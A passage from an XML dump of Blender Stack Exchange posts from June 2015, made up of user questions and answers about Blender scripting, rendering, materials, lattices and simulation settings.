scripting" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32103" PostTypeId="2" ParentId="32101" CreationDate="2015-06-08T14:08:35.983" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider using shape keys.  You have the shapes above. Also move the entire curve object in the direction that suits you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-06-08T14:08:35.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32104" PostTypeId="1" AcceptedAnswerId="32112" CreationDate="2015-06-08T14:18:00.683" Score="8" ViewCount="242" Body="&lt;p&gt;I'm using a script to show the User Preferences dialog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.screen.userpref_show('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it shows the preferences &quot;input&quot; tab, and I want it to show the &quot;Ad-ons&quot; tab. I tried using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.UserPreferences.active_section&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't work. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="14440" LastActivityDate="2021-01-11T15:00:55.700" Title="Open user preferences directly into Add-ons tab" Tags="&lt;python&gt;&lt;scripting&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32105" PostTypeId="2" ParentId="32100" CreationDate="2015-06-08T15:06:12.923" Score="3" Body="&lt;p&gt;Light is remarkably predictable and, as with most energies, strictly a linear phenomenon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we have a pixel of emissive energy, and we use photographic terms, our ability to perform math is ridiculously simple. To increase the amount of light by double, or in photographic terms a stop, we simply double the value. Want to go down a stop of intensity or halve the quantity? Easy, halve the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our visual system on the other hand, is strictly nonlinear. We sense the visual stimuli and uniquely bend the values to meet the needs of our perceptual system. In particular, we bend a very specific range such that we can detect gradations acutely, while sacrificing the darker and lighter regions our iris has dialed into view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that our devices are significantly lower dynamic range than any physical scene, we cannot however simply pass radiometrically linear ratios of light to our display / output referred contexts. If we did so, the values would appear vastly too dark, even with darker viewing conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To compensate for this complex phenomena, the values need to be bent away from the radiometrically linear ratios such that the relative emission is roughly that which our eyes would expect to perceive the relative levels as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most imaging formats bake this bent version, also known as transfer curved or tone response curved, into the data itself and the curve varies by color space. Others, with unique design constraints, may or may not depending on file tags and metadata. EXR is one such example that specifically mandates a linear format for the data within.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the issue of black and white or grayscale adds another layer of complexity. Such a representation is typically an averaged luminance obtained from the RGB triplet. Every colorspace within an RGB color encoding scheme will have uniquely colored primary lights. These colors can be mapped to an absolute color model known as XYZ. The Y axis in this non orthogonal model is relative luminance. To obtain a greyscale representation of any RGB colorspace, one multiplies the Y position of each channel by the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR No you cannot rely on the data values in any given format to be representations of radiometric ratios. It varies by format and within a format, by color space. Further, even if you invert the two part formula for something like an sRGB JPEG, you will only arrive at a rough display linear value set that terminates at display referred 1.0, having compressed and discarded much more of the dynamic range from something such as a camera. EXRs on the other hand will often offer scene linear representations that require no transfer curve inversions. With focus on a sensor-like response, a sensor will capture largely linearized values with nonlinear responses near the edges of the sensitivity ranges.&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2015-06-08T15:11:47.140" LastActivityDate="2015-06-08T15:11:47.140" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32106" PostTypeId="1" AcceptedAnswerId="32113" CreationDate="2015-06-08T15:29:27.567" Score="0" ViewCount="598" Body="&lt;p&gt;I'm trying to do a Space scene on Cycles so i'm using a Star map background as an Enviroment Map, i made the Nodes already, the texture/image shows up on the Preview..but not in the Render, why? It's the last step i need for this render but this is still giving me troubles :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ozqs5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-06-08T19:41:21.003" Title="My Enviroment Background doesn't show up?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32107" PostTypeId="2" ParentId="32102" CreationDate="2015-06-08T15:40:20.083" Score="-2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider inserting more keyframes so you have more options to change directions.  Perhaps you would need to calculate intermediate turning locations such as locations on a simplified half ellipse to avoid an obstacle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;frame_num += 30 would become&lt;/p&gt;&#xA;&#xA;&lt;p&gt;frame_num += 5 and other python changes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a [Follow Path Constraint] whose offset and influence can be animated via keyframe.  Perhaps left and right turn constraints.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-06-08T15:40:20.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32108" PostTypeId="1" AcceptedAnswerId="35915" CreationDate="2015-06-08T15:46:51.760" Score="3" ViewCount="267" Body="&lt;p&gt;Everyone knows how a racecar traveling at such-and-such speed can drive along the inner curve of a race course, tilted almost perpendicular to the ground. &#xA;This is an example of centripetal force. There are a lot of fancy equations &lt;a href=&quot;http://en.wikipedia.org/wiki/Centripetal_force&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to explain exactly what it is, but they don't relate to my question very well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My game involves a character who can do pretty much anything that you could do in real life if you were awesome. This includes (but is not limited to) kicking people while airborne, throwing people back-flipping, running at Olympic speeds and punching people through walls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to include a function that allows my character to run on walls, permitting his speed is sufficient. Example of this are found in &lt;em&gt;Mirrors Edge&lt;/em&gt; and &lt;em&gt;Jedi Knight 2&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; this can be probably accomplished by adopting the face normal of a wall, playing an animation (differs from left to right) and decreasing personal gravity, but I haven't been able to get it to work like that. I've looked at these questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10599/how-to-get-the-normal-of-the-face-which-was-hit-in-a-collision&quot;&gt;How to get the normal of the face which was hit in a collision?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8737/can-gravity-be-disabled-for-a-single-object-in-the-bge&quot;&gt;Can gravity be disabled for a single object in the BGE?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but they haven't helped.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-18T04:27:28.663" Title="How to calculate centripetal force in BGE?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32109" PostTypeId="2" ParentId="24702" CreationDate="2015-06-08T15:56:28.890" Score="2" Body="&lt;p&gt;I am completely new to Blender, so I haven't even tested this yet, but here's a solution for the skeleton lying down problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Could anyone find a solution to the rotation problem, other than rotating the character by 90° around X in Blender? Whatever I select in the exporter, my character appears face-down in UE4.&quot; asked by Daerst&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Just don't scale in the exporter. Use scale = 1.0 in the exporter and scale the model in Unreal Scene, use Blender default unity as cm or blender world scale to Metric and change to 0.01 but don't scale in the exporter.&quot; answered by vBalbio&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer from vBalbio on the Unreal Engine forum.&#xA;&lt;a href=&quot;https://forums.unrealengine.com/archive/index.php/t-128.html&quot; rel=&quot;nofollow&quot;&gt;https://forums.unrealengine.com/archive/index.php/t-128.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14867" LastActivityDate="2015-06-08T15:56:28.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32110" PostTypeId="1" CreationDate="2015-06-08T16:27:04.420" Score="3" ViewCount="4270" Body="&lt;p&gt;When I left-click using the Translate or Scale gizmo it translates or scales according to axis, as expected; however, when I left-click close to the colored circles of the rotation gizmo, it doesn't rotate the object and just moves the 3D cursor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug? If yes, is there a standard way of reported such bugs (I've seen the blender.org/forum is closed)&lt;/p&gt;&#xA;" OwnerUserId="14869" LastEditorUserId="3078" LastEditDate="2015-07-12T21:01:53.033" LastActivityDate="2016-11-21T13:41:27.243" Title="Why is the rotation gizmo not working in 2.74?" Tags="&lt;transforms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32111" PostTypeId="2" ParentId="32110" CreationDate="2015-06-08T16:53:53.203" Score="6" Body="&lt;p&gt;It's not a bug, you can imagine this widget is something that's used by an incredible amount of people and is heavily tested. But this issue has cropped up from time to time and depends heavily on the graphics card drivers used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?260454-Issues-selecting-the-3d-manipulator-arrows&amp;amp;p=2759960&amp;amp;viewfull=1#post2759960&quot; rel=&quot;noreferrer&quot;&gt;Setting &quot;Selection&quot; in User Preferences System Tab from &quot;Auto&quot; to &quot;OpenGL Select&quot; or &quot;OpenGL Occlusion Queries&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyboard shortcuts for the transform tools are G, (grab), R (rotate), and S (scale), often they are more convenient, in combination with their follow up keys &lt;code&gt;x, y, z&lt;/code&gt; to select the axis..&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-09T05:00:41.213" LastActivityDate="2015-06-09T05:00:41.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32112" PostTypeId="2" ParentId="32104" CreationDate="2015-06-08T17:02:48.223" Score="7" Body="&lt;p&gt;You'd want to use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.preferences.active_section = 'ADDONS'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="31447" LastEditDate="2021-01-11T15:00:55.700" LastActivityDate="2021-01-11T15:00:55.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32113" PostTypeId="2" ParentId="32106" CreationDate="2015-06-08T17:20:28.123" Score="2" Body="&lt;p&gt;The environment is not showing up in the render because you have Transparent checked in the Film section of the Render property panel. Uncheck that and it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also add that if you DO want to composite the foreground and background element, to leave the Transparent box checked. Then you can enable the Environment render pass and combine the foreground and background renders in the compositor.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-08T19:41:21.003" LastActivityDate="2015-06-08T19:41:21.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32114" PostTypeId="1" AcceptedAnswerId="32115" CreationDate="2015-06-08T17:53:16.763" Score="4" ViewCount="4379" Body="&lt;p&gt;When using a lattice for a lattice deform modifier, I often want to use a more detailed lattice. However, I can not edit it in the viewport in edit mode, I can only move already existing vertices. How can I subdivide a lattice?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-08T18:03:54.547" LastActivityDate="2020-06-08T10:35:08.723" Title="How can I subdivide a lattice?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32115" PostTypeId="2" ParentId="32114" CreationDate="2015-06-08T17:53:16.763" Score="10" Body="&lt;p&gt;A lattice is not an actual mesh, and is in reality more akin to an array of hook empties. So, just like an empty, you can't edit in edit mode. However, there is a way to subdivide it. Go to &lt;em&gt;Properties &gt; Data&lt;/em&gt; and you can change the resolution for the height, width, and depth. Note that these are relative, so rotating will quite possibly make the top on the bottom, or the right on the left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2KWhm.gif&quot; alt=&quot;Lattice Sub Div Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-08T17:53:16.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32116" PostTypeId="1" CreationDate="2015-06-08T18:02:21.677" Score="4" ViewCount="2163" Body="&lt;p&gt;When I import a model, they &quot;spawn&quot; a bit too far away from the grid, or basically where every Blender project starts. How do I change it so they can be imported closer?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2019-01-17T16:43:40.527" Title="When I import files they &quot;spawn&quot; too far away from the origin?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32117" PostTypeId="2" ParentId="8917" CreationDate="2015-06-08T18:05:25.157" Score="9" Body="&lt;p&gt;Yes it is to some extent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps = obj.particle_systems[particle_sys]&#xA;particles = ps.particles&#xA;&#xA;# on large objects list comprehension seems to be slower than index&#xA;# and . dotted access is also a slowing factor&#xA;for i in range(len(particles)):&#xA;    # alive_state&#xA;    # angular_velocity&#xA;    # birth_time&#xA;    # die_time&#xA;    # hair_keys&#xA;    # is_exist&#xA;    # is_visible&#xA;    # lifetime&#xA;    pt = particles[i]&#xA;    if pt.is_exist and pt.alive_state == 'ALIVE':&#xA;        # do something... add_loc(pt.location[:])&#xA;        ...&#xA;    # prev_angular_velocity&#xA;    # prev_location&#xA;    # prev_rotation&#xA;    # prev_velocity&#xA;    # rotation&#xA;    # size&#xA;    # velocity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pt.location&lt;/code&gt; would give the coordinate. The Particles API seems to be slightly under-developed, but perhaps this info will help you.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2018-08-23T08:29:02.527" LastActivityDate="2018-08-23T08:29:02.527" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32119" PostTypeId="2" ParentId="32116" CreationDate="2015-06-08T18:09:00.723" Score="1" Body="&lt;p&gt;Check your object origin on the object in the source blend file. If it's centered on your object, it should link into your new file at the world origin. &lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-08T18:09:00.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32120" PostTypeId="2" ParentId="31759" CreationDate="2015-06-08T18:24:59.590" Score="3" Body="&lt;p&gt;They do appear to be interchangeable at the moment. I have seen no evidence that developers plan to change this. For sake of consistency I prefer to use &lt;code&gt;.active_object&lt;/code&gt; for everything that requires the active object. &lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-08T18:24:59.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32121" PostTypeId="1" AcceptedAnswerId="32122" CreationDate="2015-06-08T19:13:26.173" Score="5" ViewCount="2289" Body="&lt;p&gt;I have approximately ten animated objects on my timeline, but I only need to manipulate three of those at the same time because I want to re-scale them in time. How can I select the three objects I need, and only see their keyframes in the Dope sheet without messing with the others? When I try to select three, only one of the objects appears (last one selected). &lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-06-08T19:30:00.743" LastActivityDate="2015-06-08T19:30:00.743" Title="How to select specific objects to make their keyframes appear on the Dope Sheet?" Tags="&lt;interface&gt;&lt;objects&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32122" PostTypeId="2" ParentId="32121" CreationDate="2015-06-08T19:19:28.760" Score="7" Body="&lt;p&gt;You can turn on the Selected filter (mouse pointer icon) in the header of the dope sheet. Then the dope sheet will only display keyframes for the selected objects. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/e6Haq.png&quot; alt=&quot;filter button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-08T19:21:51.270" LastActivityDate="2015-06-08T19:21:51.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32123" PostTypeId="1" AcceptedAnswerId="32133" CreationDate="2015-06-08T20:07:08.120" Score="14" ViewCount="6504" Body="&lt;p&gt;If I have a modeled rock and I want to somehow to add details to it like the ones from an Asteroid (like, little holes) which kind of Node setup should I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My actual node setup (it's on cycles) is pretty simple, it's just a regular Diffuse color and with the Output, due to the figure itself, it reacts well to lighting. But I do want little details that can also react to light (like a bump, but random).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z3IAn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3078" LastEditDate="2015-06-08T22:32:45.580" LastActivityDate="2015-06-09T14:12:15.837" Title="How to make a 'rocky' material with procedural bump?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32124" PostTypeId="2" ParentId="32123" CreationDate="2015-06-08T20:19:43.633" Score="8" Body="&lt;p&gt;You can use a greyscale version of the image texture to create either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a &lt;strong&gt;Bump Map&lt;/strong&gt; or &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mesh Displacement&lt;/strong&gt; via the Displacement Modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Bump solution is the lighter, less resource-intensive solution, and it will be easier to render. However it &lt;strong&gt;will&lt;/strong&gt; give you the illusion of craters on the surface, and &lt;strong&gt;will not&lt;/strong&gt; affect the silhouette of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Displacement modifier solution will give you actual changes to the surface of the mesh and &lt;strong&gt;WILL&lt;/strong&gt; affect the sillhouette of the object. However you will have to subdivide the mesh (or apply a SubDiv modifier) many times to get a good clean result, and this will make the mesh difficult to work with. Another challenge of this technique is that it works better with higher bit depth images. Higher bit images (16bit, 32bit) have a wider variance between dark and light values, giving more variance in the range of the displacement effect. For most scenarios, however, you'll likely be working with 8bit images which doesn't provide a huge range in displacement values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality, you'll probably always want to set up the Bump Map. It will give the fine details you need. The Displacement mod is really only helpful for larger features on the profile of mesh. You can always use both together if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot with an asteroid with &lt;strong&gt;Bump Map only&lt;/strong&gt; (on Left).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XANMx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot with the asteroid with &lt;strong&gt;Displacement only&lt;/strong&gt; (on Right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pns2J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-08T20:53:40.547" LastActivityDate="2015-06-08T20:53:40.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32125" PostTypeId="2" ParentId="5425" CreationDate="2015-06-08T21:42:32.977" Score="2" Body="&lt;p&gt;The answer depends on how much control you want to have over the color. In Cycles you can use the Geometry node's Position output as a factor between two colors or two shaders, and this will give you a variation between them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want control over the angle you can then route that Position output into a Normal node and connect the Dot output into the Factor of the two colors - rotate the sphere to change the angle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to be driven by the distance from an Empty then look into Drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, as another possibility for coloring/texturing liquids you might look into how to create matcap materials in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-08T21:42:32.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32126" PostTypeId="2" ParentId="31429" CreationDate="2015-06-08T22:07:14.007" Score="1" Body="&lt;p&gt;I looked at your screenshots, you have &quot;manipulate center points&quot; turned on. It would cause the problems you described. See Screenshot.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SXJVg.jpg&quot; alt=&quot;manipulate center points button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14872" LastEditorUserId="2217" LastEditDate="2015-06-08T23:16:47.320" LastActivityDate="2015-06-08T23:16:47.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32127" PostTypeId="1" CreationDate="2015-06-08T22:08:08.313" Score="11" ViewCount="4002" Body="&lt;p&gt;If I wanted to create an animation, each frame would have several seconds of rendering a completely transparent part, which adds up obviously. Is there a way to eliminate this waste of time?&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2019-06-27T15:49:37.467" Title="Is there a way to have Cycles skip rendering alpha?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32128" PostTypeId="2" ParentId="32080" CreationDate="2015-06-08T22:21:33.663" Score="2" Body="&lt;p&gt;In order to keep a consistent profile to the letter (the I-beam pattern), as well as have a fatter width to the left side of the letter, you won't be able to accomplish this with a curve bevel, even when using the taper object as well. This is because the radius is applied in a circular fashion around the control point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to do it is to create an outline mesh with a thin border, convert it to a curve object and position over top of a second curve object, converted from the text object to a 2d curve object. Extrude both for thickness, and extrude the border curve a little further to get the I-beam profile you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJALp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-08T22:29:04.743" LastActivityDate="2015-06-08T22:29:04.743" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32129" PostTypeId="1" CreationDate="2015-06-08T22:24:34.787" Score="0" ViewCount="853" Body="&lt;p&gt;The problems which I'm facing are too often very similar to what is described in this post by Hyder Hasnain: &lt;a href=&quot;https://blender.stackexchange.com/questions/24031/mesh-repair-torn-mesh-with-holes-shrinkwrap-modifier&quot;&gt;Mesh and shrinkwrap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pasting together parts from different models, some of which contain complex shapes not obviously related to primitives.  I've looked several times at the solidify, skin, and shrinkwrap modifiers and can't see how they can solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to use them on damaged meshes just asks them to assume too much.  However, conceptually they might work if applied to small segments of the mesh rather than asking them to work on the entire object.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can any of the three techniques (Shrinkwrap modifier, Convert to Convex Hull tool, Point Cloud Skinner addon) be used as a tool in edit mode on a section of the mesh?&lt;/strong&gt; In other words, a sort of intermediate step between editing the vertices and edges and applying a modifier to the entire object?&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-06-09T03:35:50.467" Title="Repairing torn or corrupted meshes" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32130" PostTypeId="2" ParentId="30777" CreationDate="2015-06-08T22:39:14.953" Score="1" Body="&lt;p&gt;In order for overlays to actually overlay existing video, you need to add an effects strip to tell Blender how to mix it. Generally I use the &lt;strong&gt;alpha over&lt;/strong&gt; strip, but there are other options like &lt;strong&gt;alpha under&lt;/strong&gt;, &lt;strong&gt;add&lt;/strong&gt;, &lt;strong&gt;subtract&lt;/strong&gt;, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, the VSE takes the top most strip and uses that. Without the effect strip all you'll see is the overlay and nothing but black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you had some B-roll or stock footage or images that will cover the whole screen, then you wont need a effect strip. Just make sure it's in a higher channel than any other video channel. &lt;/p&gt;&#xA;" OwnerUserId="5122" LastActivityDate="2015-06-08T22:39:14.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32131" PostTypeId="2" ParentId="32127" CreationDate="2015-06-08T22:49:37.917" Score="11" Body="&lt;p&gt;There is nothing specifically designed into Blender to tell it to ignore the transparent areas currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there are some things we can do to help speed up the render somewhat.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Transparent Background&lt;/strong&gt; - Choose transparent in the Film section of the Render properties panel. This will render faster than a coloured background (whether full black or not)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AccVu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tile Size&lt;/strong&gt;- Choose a smaller tile size than your current (this tip is mostly for CPU rendering as GPU rendering generally uses larger tiles). This will help the render times when the buckets are processing the edge of the foreground element. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5LXQK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Targeted Sampling&lt;/strong&gt; - Use the Branched Path Tracing option in the Sampling section of the Render Properties panel. If you reduce the AA sample some what and raise the bounce samples (Diffuse, Glossy, etc.), you will reduce time spent on rendering the sky/transparent background.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6hzV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cropped Render&lt;/strong&gt; - this option is a little more extreme, but if you    have an object that doesn't move much on screen, you can crop the    render to only include the portions of the screen it's in. You'd then    composite it together with the rest of the full frame renders.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUagp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-09T04:46:04.470" LastActivityDate="2015-06-09T04:46:04.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32132" PostTypeId="1" CreationDate="2015-06-08T23:11:01.647" Score="2" ViewCount="525" Body="&lt;p&gt;I have a student who is trying to bake her fluid, but it won't do it correctly. Below are the steps she told me she takes when she does it. I have no idea on how to fix it and I have been trying for days. Any help would be appreciated. I also included screen shots of what she does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Before I bake, I assign the larger icosphere as the domain, and the cube to the fluid and the other objects as obstacles. When I bake it, the fluid moves up to its starting point at the square like it's supposed to. After that, however, when the fluid falls, it passes through the objects marked as obstacles and lands as if it were landing inside a large rectangular prism, or some of it gets suspended in midair. (the pictures show it)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W4sj7.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eYY7u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastEditorUserId="47" LastEditDate="2015-06-09T18:39:03.283" LastActivityDate="2015-06-09T18:39:03.283" Title="How to get correct results when baking a fluid simulation" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
